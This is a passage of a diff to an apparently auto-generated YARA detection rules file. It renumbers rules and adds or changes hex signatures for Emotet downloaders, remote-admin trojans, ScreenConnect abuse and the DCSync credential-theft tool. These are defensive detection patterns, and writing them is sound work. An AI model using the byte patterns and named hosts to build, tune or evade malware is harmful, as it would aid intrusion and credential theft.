1)*16675+(#a_75_1 & 1)*8285+(#a_65_2 & 1)*24931+(#a_63_3 & 1)*28532+(#a_56_4 & 1)*22842+(#a_39_5 & 1)*12378) >=2 } -rule _InfrastructureShared_17792{ +rule _InfrastructureShared_18945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -213485,7 +227553,7 @@ rule _InfrastructureShared_17792{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*69) >=3 } -rule _InfrastructureShared_17793{ +rule _InfrastructureShared_18946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -213497,7 +227565,7 @@ rule _InfrastructureShared_17793{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*5650+(#a_01_2 & 1)*10246) >=3 } -rule _InfrastructureShared_17794{ +rule _InfrastructureShared_18947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -213509,7 +227577,7 @@ rule _InfrastructureShared_17794{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*7168+(#a_00_3 & 1)*114) >=3 } -rule _InfrastructureShared_17795{ +rule _InfrastructureShared_18948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 16 00 21 " @@ -213535,7 +227603,7 @@ rule _InfrastructureShared_17795{ ((#a_54_0 & 1)*18467+(#a_c3_1 & 1)*4+(#a_00_3 & 1)*26624+(#a_05_5 & 1)*-32768+(#a_00_6 & 1)*119+(#a_00_8 & 1)*70+(#a_00_9 & 1)*65+(#a_00_11 & 1)*102+(#a_07_12 & 1)*1800+(#a_16_13 & 1)*5009+(#a_0d_14 & 1)*22795+(#a_16_15 & 1)*4366+(#a_12_16 & 1)*22551+(#a_d2_18 & 1)*4374+(#a_01_19 & 1)*11544+(#a_5f_20 & 1)*25977+(#a_2c_21 & 1)*2) >=3 } -rule _InfrastructureShared_17796{ +rule _InfrastructureShared_18949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -213547,7 +227615,7 @@ rule _InfrastructureShared_17796{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*56+(#a_00_3 & 1)*85) >=4 } -rule _InfrastructureShared_17797{ +rule _InfrastructureShared_18950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -213559,7 +227627,7 @@ rule _InfrastructureShared_17797{ ((#a_54_0 & 1)*18467+(#a_11_2 & 1)*4352+(#a_0d_3 & 1)*22528) >=4 } -rule _InfrastructureShared_17798{ +rule _InfrastructureShared_18951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -213573,7 +227641,7 @@ rule _InfrastructureShared_17798{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12378+(#a_01_2 & 1)*-28672+(#a_2d_3 & 1)*2305+(#a_7a_4 & 1)*24841) >=5 } -rule _InfrastructureShared_17799{ +rule _InfrastructureShared_18952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -213585,7 +227653,7 @@ rule _InfrastructureShared_17799{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*46+(#a_00_3 & 1)*83) >=5 } -rule _InfrastructureShared_17800{ +rule _InfrastructureShared_18953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -213598,7 +227666,7 @@ rule _InfrastructureShared_17800{ ((#a_4c_0 & 1)*21539+(#a_e8_1 & 1)*9284+(#a_4c_2 & 1)*9292+(#a_65_4 & 1)*26992) >=5 } -rule _InfrastructureShared_17801{ +rule _InfrastructureShared_18954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 10 00 21 " @@ -213618,7 +227686,7 @@ rule _InfrastructureShared_17801{ ((#a_54_0 & 1)*18467+(#a_8f_1 & 1)*-18776+(#a_ab_2 & 1)*-10823+(#a_13_3 & 1)*1809+(#a_07_4 & 1)*5009+(#a_04_5 & 1)*1811+(#a_11_6 & 1)*4864+(#a_07_7 & 1)*4959+(#a_04_8 & 1)*1043+(#a_31_9 & 1)*12801+(#a_53_10 & 1)*14958) >=5 } -rule _InfrastructureShared_17802{ +rule _InfrastructureShared_18955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -213630,7 +227698,7 @@ rule _InfrastructureShared_17802{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*4497+(#a_06_2 & 1)*2321) >=6 } -rule _InfrastructureShared_17803{ +rule _InfrastructureShared_18956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -213640,7 +227708,7 @@ rule _InfrastructureShared_17803{ ((#a_54_0 & 1)*18467) >=6 } -rule _InfrastructureShared_17804{ +rule _InfrastructureShared_18957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -213656,7 +227724,7 @@ rule _InfrastructureShared_17804{ ((#a_4c_0 & 1)*21539+(#a_62_1 & 1)*26220+(#a_74_2 & 1)*28528+(#a_6f_3 & 1)*28265+(#a_73_4 & 1)*26996+(#a_65_5 & 1)*384+(#a_65_6 & 1)*25902) >=7 } -rule _InfrastructureShared_17805{ +rule _InfrastructureShared_18958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -213675,7 +227743,7 @@ rule _InfrastructureShared_17805{ ((#a_41_0 & 1)*20515+(#a_01_1 & 1)*3840+(#a_6c_2 & 1)*28277+(#a_6e_3 & 1)*21050+(#a_d9_4 & 1)*67+(#a_7d_5 & 1)*-18929+(#a_03_6 & 1)*21763+(#a_00_7 & 1)*29541+(#a_65_8 & 1)*25345+(#a_72_9 & 1)*29541) >=7 } -rule _InfrastructureShared_17806{ +rule _InfrastructureShared_18959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -213694,7 +227762,7 @@ rule _InfrastructureShared_17806{ ((#a_46_0 & 1)*21283+(#a_1c_1 & 1)*-30692+(#a_89_2 & 1)*3848+(#a_52_3 & 1)*29285+(#a_6d_4 & 1)*28486+(#a_64_5 & 1)*25951+(#a_61_6 & 1)*29550+(#a_16_7 & 1)*256+(#a_72_8 & 1)*385+(#a_53_9 & 1)*25974) >=7 } -rule _InfrastructureShared_17807{ +rule _InfrastructureShared_18960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -213711,7 +227779,7 @@ rule _InfrastructureShared_17807{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*29555+(#a_73_3 & 1)*26723+(#a_69_4 & 1)*29806+(#a_74_5 & 1)*25959+(#a_61_6 & 1)*28523+(#a_01_7 & 1)*11520+(#a_5c_8 & 1)*29541) >=9 } -rule _InfrastructureShared_17808{ +rule _InfrastructureShared_18961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 21 " @@ -213726,7 +227794,7 @@ rule _InfrastructureShared_17808{ ((#a_54_0 & 1)*18467+(#a_90_2 & 1)*5898+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_3f_6 & 1)*0) >=10 } -rule _InfrastructureShared_17809{ +rule _InfrastructureShared_18962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -213744,7 +227812,7 @@ rule _InfrastructureShared_17809{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24942+(#a_63_2 & 1)*30053+(#a_00_4 & 1)*1+(#a_57_5 & 1)*21061+(#a_67_6 & 1)*28719+(#a_02_7 & 1)*12148+(#a_6a_8 & 1)*29268+(#a_79_9 & 1)*22596) >=10 } -rule _InfrastructureShared_17810{ +rule _InfrastructureShared_18963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0b 00 21 " @@ -213764,7 +227832,7 @@ rule _InfrastructureShared_17810{ ((#a_46_0 & 1)*21283+(#a_69_1 & 1)*26926+(#a_6f_2 & 1)*11891+(#a_43_3 & 1)*16754+(#a_66_4 & 1)*18012+(#a_48_5 & 1)*-32479+(#a_4f_6 & 1)*24409+(#a_67_7 & 1)*29292+(#a_74_8 & 1)*25459+(#a_72_9 & 1)*274+(#a_00_10 & 1)*31077) >=10 } -rule _InfrastructureShared_17811{ +rule _InfrastructureShared_18964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 07 00 21 " @@ -213779,7 +227847,7 @@ rule _InfrastructureShared_17811{ ((#a_46_0 & 1)*16675+(#a_46_2 & 1)*21761+(#a_75_3 & 1)*28487+(#a_76_4 & 1)*29284+(#a_2f_5 & 1)*18771+(#a_6c_6 & 1)*26739) >=12 } -rule _InfrastructureShared_17812{ +rule _InfrastructureShared_18965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -213787,21 +227855,35 @@ rule _InfrastructureShared_17812{ $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 47 54 53 21 4d 54 42 00 01 00 15 01 53 74 72 69 70 41 66 74 65 72 4f 62 66 75 73 63 61 74 69 6f 6e 01 00 17 01 53 79 73 74 65 6d 2e 43 6f 64 65 44 6f 6d } //16675 $a_6d_1 = {69 6c 65 72 01 00 0d 01 48 61 73 68 41 6c 67 6f 72 69 74 68 6d 01 00 0a 01 43 69 70 68 65 72 4d 6f 64 65 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0c 01 42 69 6e 61 72 79 52 65 61 64 65 72 01 00 12 01 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 01 00 11 01 52 65 61 64 50 72 6f 63 65 73 73 4d 65 6d 6f } //17198 $a_00_2 = {0f } //31090 - $a_65_3 = {74 65 45 6e 63 72 79 70 74 6f 72 01 00 0f 01 43 6f 6d 70 72 65 73 73 69 6f 6e 4d 6f 64 65 01 00 0b 01 43 6f 6e 74 61 69 6e 73 4b 65 79 01 00 0b 01 54 68 72 65 61 64 53 74 61 72 74 01 00 14 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 0f 01 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 00 00 78 40 01 00 02 00 02 00 02 } //17153 - $a_41_4 = {46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 45 6d 6f 74 65 74 2e 53 49 42 21 } //8448 F:TrojanDownloader:MSIL/Emotet.SIB! - $a_00_5 = {01 00 5f 02 11 06 11 07 9a 13 08 00 11 08 72 90 01 04 28 90 01 04 13 0a 11 0a 2c 90 01 01 2b 90 01 01 11 08 6f 90 01 04 16 fe 01 13 0b 11 0b 2c 90 01 01 2b 90 01 01 11 08 28 90 01 04 d2 13 09 07 11 } //21581 - $a_01_6 = {04 00 00 11 07 17 58 13 07 11 07 11 06 8e 69 32 90 01 01 07 0c 08 6f 90 01 04 0d 90 00 01 00 a6 02 25 1f 10 1f 90 01 01 9d 90 02 20 25 1f 0f 1f 90 01 01 9d 90 02 20 25 1f 0e 1f 90 01 01 9d 90 02 20 25 1f 0d 1f 90 01 01 9d 90 02 20 25 1f 0c 1f 90 01 01 9d 90 02 20 25 1f 0b 1f 90 01 01 9d 90 02 20 25 1f 0a 1f 90 01 01 9d 90 02 20 25 1f 09 1f 90 01 01 9d 90 02 20 25 1e 1f 90 01 01 9d 90 02 20 25 1d 1f 2f 9d 90 02 20 25 1c 1f 2f 9d } //28425 - $a_25_7 = {1f 3a 9d 90 02 20 25 1a 1f 73 9d 90 02 20 25 19 1f 70 9d 90 02 20 25 18 1f 74 9d 90 02 20 25 17 } //656 - $a_90_8 = {20 25 16 1f 68 9d 73 90 01 04 2a 90 00 00 00 78 40 01 00 02 00 02 00 05 00 21 23 41 4c 46 3a 50 72 6f 67 72 61 6d 3a 4f 70 65 6e 43 61 6e 64 79 3a 52 65 6d 6e 61 6e 74 00 01 00 3c 01 67 00 65 00 74 00 5f 00 6f 00 66 00 66 00 65 00 72 00 73 00 2f 00 70 00 72 00 6f 00 64 00 75 00 63 00 74 00 2f 00 73 00 65 00 73 00 73 00 69 00 6f 00 6e 00 5f 00 6b 00 65 00 79 00 01 00 3e 01 74 00 72 00 61 00 63 00 6b 00 5f 00 72 00 65 00 6d 00 6e 00 61 00 6e 00 74 00 5f 00 70 00 72 00 } //29727 - $a_00_9 = {75 00 63 00 74 00 5f 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 64 00 01 00 40 01 43 00 54 00 72 00 61 00 63 00 6b 00 69 00 6e 00 67 00 43 00 61 00 6c 00 6c 00 73 00 3a 00 3a 00 6d 00 5f 00 62 00 48 00 61 00 73 00 53 00 68 00 6f 00 77 00 6e 00 4f 00 66 00 66 00 65 00 72 00 01 00 12 01 4f 00 } //111 - $a_00_10 = {6e 00 43 00 61 00 6e 00 64 00 79 00 01 00 38 01 74 00 72 00 61 00 63 00 6b 00 5f 00 6f 00 66 00 66 00 65 00 72 00 5f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 5f 00 73 00 74 00 61 00 72 00 74 00 65 00 64 00 00 00 78 40 01 00 02 00 02 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 } //112 - $a_61_11 = {61 72 6c 64 72 2e 5a 57 00 01 00 f5 01 07 02 00 00 00 a4 00 00 52 53 41 32 00 02 00 00 01 00 00 00 ab ef fa c6 7d e8 de fb 68 38 09 92 d9 42 7e 6b 89 9e 21 d7 52 1c 99 3c 17 48 4e 3a 44 02 f2 fa 74 } //12084 - $a_d3_12 = {35 67 fa 6e df 78 4c 75 35 1c a0 74 49 e3 20 13 71 35 65 df 12 20 f5 f5 f5 c1 ed 5c 91 36 75 b0 a9 9c 04 db 0c 8c bf 99 75 13 7e 87 80 4b 71 94 b8 00 a0 7d b7 53 dd 20 63 ee f7 83 41 fe 16 a7 6e df 21 7d 76 c0 85 d5 65 7f 00 23 57 45 52 02 9d ea 69 ac 1f fd 3f 8c 4a d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 d5 aa b1 a6 03 18 92 03 aa 31 2e 48 4b 65 20 99 cd c6 0c 15 0c bf 3e ff 78 95 67 b1 74 5b 60 01 01 00 04 01 c5 bc b1 df 01 00 04 01 7a 6b 00 3e 01 00 04 01 c0 44 f1 d5 01 00 04 01 13 8b 0c bd 00 00 78 40 01 00 03 00 03 } //-9641 + $a_65_3 = {74 65 45 6e 63 72 79 70 74 6f 72 01 00 0f 01 43 6f 6d 70 72 65 73 73 69 6f 6e 4d 6f 64 65 01 00 0b 01 43 6f 6e 74 61 69 6e 73 4b 65 79 01 00 0b 01 54 68 72 65 61 64 53 74 61 72 74 01 00 14 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 0f 01 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 00 00 78 3f 01 00 68 00 68 00 06 } //17153 + $a_54_4 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6d 6f 74 65 41 64 6d 69 6e 2e 44 41 21 4d 54 42 00 64 } //8448 + $a_3f_5 = {68 00 3d } //16640 + $a_00_7 = {63 00 2e 00 69 00 6e 00 6e 00 6f 00 63 00 72 00 65 00 65 00 64 00 2e 00 63 00 6f 00 6d 00 26 00 61 00 6d 00 70 00 3b 00 70 00 3d 00 90 02 04 26 00 90 00 64 00 23 03 3f 68 3d 6a 74 73 65 63 2e 69 6e 6e 6f 63 72 65 65 64 2e 63 6f 6d 26 61 6d 70 3b 70 3d 90 02 04 26 90 00 01 00 2e 81 01 5c 6a 6d 6f 72 67 } //115 + $a_53_8 = {75 72 63 65 5c 63 77 63 6f 6e 74 72 6f 6c 5c 43 75 73 74 6f 6d 5c 44 6f 74 4e 65 74 52 75 6e 6e 65 72 5c 01 00 27 81 01 66 65 65 64 62 61 63 6b 2e 73 63 72 65 65 6e 63 6f 6e 6e 65 63 74 2e 63 6f 6d 2f 46 65 65 64 62 61 63 6b 2e 61 78 64 01 00 2d 81 01 53 63 72 65 65 6e 43 6f } //28257 + $a_63_9 = {2e 49 6e 73 74 61 6c 6c 65 72 41 63 74 69 6f 6e 73 21 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 01 00 0f 81 01 54 61 6b 65 20 53 63 72 65 65 6e 73 68 6f 74 00 00 78 40 01 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 45 6d 6f 74 65 74 2e 53 49 } //28270 + $a_54_10 = {00 01 00 5f 02 11 06 11 07 9a 13 08 00 11 08 72 90 01 04 28 90 01 04 13 0a 11 0a 2c 90 01 01 2b 90 01 01 11 08 6f 90 01 04 16 fe 01 13 0b 11 0b 2c 90 01 01 2b 90 01 01 11 08 28 90 01 04 d2 13 09 07 11 09 6f 90 01 04 00 00 11 07 17 } //8514 + $a_11_11 = {11 06 8e 69 32 90 01 } //4952 + $a_08_12 = {6f 90 01 04 0d 90 00 01 00 a6 02 25 } //1793 + $a_90_13 = {01 9d 90 02 20 25 1f 0f 1f 90 01 01 9d 90 02 20 25 1f 0e 1f 90 01 01 9d 90 02 20 25 1f 0d 1f } //4127 condition: - ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*17198+(#a_00_2 & 1)*31090+(#a_65_3 & 1)*17153+(#a_41_4 & 1)*8448+(#a_00_5 & 1)*21581+(#a_01_6 & 1)*28425+(#a_25_7 & 1)*656+(#a_90_8 & 1)*29727+(#a_00_9 & 1)*111+(#a_00_10 & 1)*112+(#a_61_11 & 1)*12084+(#a_d3_12 & 1)*-9641) >=14 + ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*17198+(#a_00_2 & 1)*31090+(#a_65_3 & 1)*17153+(#a_54_4 & 1)*8448+(#a_3f_5 & 1)*16640+(#a_00_7 & 1)*115+(#a_53_8 & 1)*28257+(#a_63_9 & 1)*28270+(#a_54_10 & 1)*8514+(#a_11_11 & 1)*4952+(#a_08_12 & 1)*1793+(#a_90_13 & 1)*4127) >=14 } -rule _InfrastructureShared_17813{ +rule _InfrastructureShared_18966{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,68 00 68 00 06 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6d 6f 74 65 41 64 6d 69 6e 2e 44 41 21 4d 54 42 00 64 00 41 03 3f 00 68 00 3d 00 6a 00 74 00 73 00 65 00 63 00 2e 00 69 00 6e 00 6e 00 6f 00 63 00 72 00 65 00 65 } //21539 + $a_00_2 = {6d 00 26 00 61 00 6d 00 70 00 3b 00 70 00 3d 00 90 02 04 26 00 90 00 64 00 23 03 3f 68 3d 6a 74 73 65 63 2e 69 6e 6e 6f 63 72 65 65 64 2e 63 6f 6d 26 61 6d 70 3b 70 3d 90 02 04 26 90 00 01 00 2e 81 01 5c 6a 6d 6f 72 67 61 6e 5c 53 6f 75 72 63 65 5c 63 77 63 6f 6e 74 72 6f 6c 5c 43 75 73 74 6f 6d 5c 44 6f 74 4e 65 74 52 75 6e 6e 65 } //99 + $a_00_3 = {27 } //23666 ' + $a_65_4 = {64 62 61 63 6b 2e 73 63 72 65 65 6e 63 6f 6e 6e 65 63 74 2e 63 6f 6d 2f 46 65 65 64 62 61 63 6b 2e 61 78 64 01 00 2d 81 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 49 6e 73 74 61 6c 6c 65 72 41 63 74 69 6f 6e 73 21 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 01 00 0f 81 01 54 61 6b 65 20 53 63 72 65 65 6e } //385 + $a_74_5 = {00 78 40 01 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 45 6d 6f 74 65 74 2e 53 49 42 21 4d 54 42 00 01 00 5f 02 11 06 11 07 9a 13 08 00 11 08 72 90 01 04 28 90 01 04 13 0a 11 0a 2c 90 01 01 2b 90 01 01 11 08 6f 90 01 04 16 fe 01 13 0b 11 0b 2c 90 01 01 2b 90 01 01 11 08 } //26739 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*99+(#a_00_3 & 1)*23666+(#a_65_4 & 1)*385+(#a_74_5 & 1)*26739) >=104 + +} +rule _InfrastructureShared_18967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -213812,7 +227894,7 @@ rule _InfrastructureShared_17813{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*5636) >=2 } -rule _InfrastructureShared_17814{ +rule _InfrastructureShared_18968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -213825,7 +227907,7 @@ rule _InfrastructureShared_17814{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_00_3 & 1)*98+(#a_00_4 & 1)*95) >=2 } -rule _InfrastructureShared_17815{ +rule _InfrastructureShared_18969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -213836,7 +227918,7 @@ rule _InfrastructureShared_17815{ ((#a_4c_0 & 1)*21539+(#a_3c_1 & 1)*7250) >=2 } -rule _InfrastructureShared_17816{ +rule _InfrastructureShared_18970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -213847,7 +227929,7 @@ rule _InfrastructureShared_17816{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*54) >=3 } -rule _InfrastructureShared_17817{ +rule _InfrastructureShared_18971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -213859,7 +227941,7 @@ rule _InfrastructureShared_17817{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4865+(#a_01_2 & 1)*28424) >=3 } -rule _InfrastructureShared_17818{ +rule _InfrastructureShared_18972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -213869,7 +227951,23 @@ rule _InfrastructureShared_17818{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_17819{ +rule _InfrastructureShared_18973{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 44 43 53 79 6e 63 65 72 2e 43 21 64 68 61 00 01 00 23 81 01 5b 78 5d 20 52 70 63 53 65 63 75 72 69 74 79 43 61 6c 6c 62 61 63 6b 3a 20 51 43 41 31 20 25 30 38 78 0a 01 00 24 81 01 5b } //16675 + $a_52_1 = {63 53 65 63 75 72 69 74 79 43 61 6c 6c 62 61 63 6b 3a 20 49 52 42 53 43 20 25 30 38 78 0a 01 00 } //23928 + $a_5b_2 = {5d } //-32492 ] + $a_74_3 = {43 3a 20 44 47 44 31 3a 20 25 75 0a 02 00 27 81 01 5b 78 5d 20 64 63 73 79 6e 63 3a 20 44 6f 6d 61 69 6e 20 77 6f 75 6c 64 20 62 65 20 6e 6f 74 20 66 6f 75 6e 64 21 0a 02 00 23 81 01 5b 78 5d 20 64 63 73 79 6e 63 3a 20 44 43 20 77 6f 75 6c 64 20 62 65 20 6e 6f 74 20 66 6f 75 6e 64 21 0a 01 00 19 81 01 } //26400 + $a_20_4 = {73 6e 31 5f 69 6e 69 74 3a 20 41 31 5f 43 45 3a 20 25 69 0a 01 00 19 81 01 5b 78 5d 20 61 73 6e 31 5f 69 6e 69 74 3a 20 41 31 5f 43 44 3a 20 25 69 0a 01 00 15 81 01 5b 78 5d 20 61 73 6e 31 5f 69 6e 69 74 3a 20 41 31 5f 43 4d 0a 00 00 78 40 01 00 04 00 04 00 0b 00 21 23 41 4c 46 } //30811 + $a_6f_5 = {61 6e 3a 57 69 6e 33 32 2f 53 6f 75 72 46 69 6c 6c 69 6e 67 2e 41 21 64 68 61 00 02 00 16 01 64 6b 6c 66 73 66 68 6c 6c 69 5f 6d 64 6b 70 6a 6c 69 6b 65 71 64 02 00 0b 01 7a 6d 65 69 71 64 68 6c 72 65 63 02 00 1a 01 5c 00 54 00 6d 00 70 00 30 00 00 00 77 00 00 00 5c 00 54 00 6d 00 70 00 31 00 02 00 1a 01 5c 00 61 00 70 00 6b 00 31 00 00 00 } //21562 + $a_00_7 = {70 00 6b 00 32 00 01 00 19 81 01 25 30 34 64 25 30 32 64 25 30 32 64 25 30 32 64 25 30 32 64 25 30 32 64 5f 01 00 1b 81 01 25 30 34 64 2e 25 30 32 64 2e 25 30 32 64 2e 25 30 32 64 25 30 32 64 25 30 32 64 01 00 18 81 01 25 30 34 64 25 30 32 64 25 30 32 64 25 30 32 64 25 30 32 64 25 30 32 64 } //92 + condition: + ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*23928+(#a_5b_2 & 1)*-32492+(#a_74_3 & 1)*26400+(#a_20_4 & 1)*30811+(#a_6f_5 & 1)*21562+(#a_00_7 & 1)*92) >=4 + +} +rule _InfrastructureShared_18974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0b 00 21 " @@ -213887,7 +227985,7 @@ rule _InfrastructureShared_17819{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*92+(#a_25_2 & 1)*-32485+(#a_30_3 & 1)*11876+(#a_25_4 & 1)*12848+(#a_41_5 & 1)*8448+(#a_00_7 & 1)*114+(#a_00_9 & 1)*116+(#a_74_10 & 1)*24930) >=4 } -rule _InfrastructureShared_17820{ +rule _InfrastructureShared_18975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -213900,7 +227998,7 @@ rule _InfrastructureShared_17820{ ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_00_2 & 1)*97+(#a_74_3 & 1)*25959) >=5 } -rule _InfrastructureShared_17821{ +rule _InfrastructureShared_18976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -213912,7 +228010,7 @@ rule _InfrastructureShared_17821{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*46+(#a_00_4 & 1)*47) >=5 } -rule _InfrastructureShared_17822{ +rule _InfrastructureShared_18977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -213928,7 +228026,7 @@ rule _InfrastructureShared_17822{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_7a_2 & 1)*24841+(#a_30_3 & 1)*11585+(#a_72_4 & 1)*14930+(#a_7a_5 & 1)*27255+(#a_72_6 & 1)*24945) >=5 } -rule _InfrastructureShared_17823{ +rule _InfrastructureShared_18978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -213944,7 +228042,7 @@ rule _InfrastructureShared_17823{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*30305+(#a_01_2 & 1)*9984+(#a_46_3 & 1)*16675+(#a_02_4 & 1)*17739+(#a_73_5 & 1)*17524+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_17824{ +rule _InfrastructureShared_18979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0d 00 21 " @@ -213966,7 +228064,7 @@ rule _InfrastructureShared_17824{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*17739+(#a_73_2 & 1)*17524+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_40_5 & 1)*0+(#a_74_6 & 1)*25964+(#a_01_7 & 1)*25711+(#a_69_8 & 1)*26479+(#a_6c_9 & 1)*29545+(#a_73_10 & 1)*24436+(#a_4d_11 & 1)*29797+(#a_30_12 & 1)*11570) >=14 } -rule _InfrastructureShared_17825{ +rule _InfrastructureShared_18980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -213989,7 +228087,7 @@ rule _InfrastructureShared_17825{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*20857+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 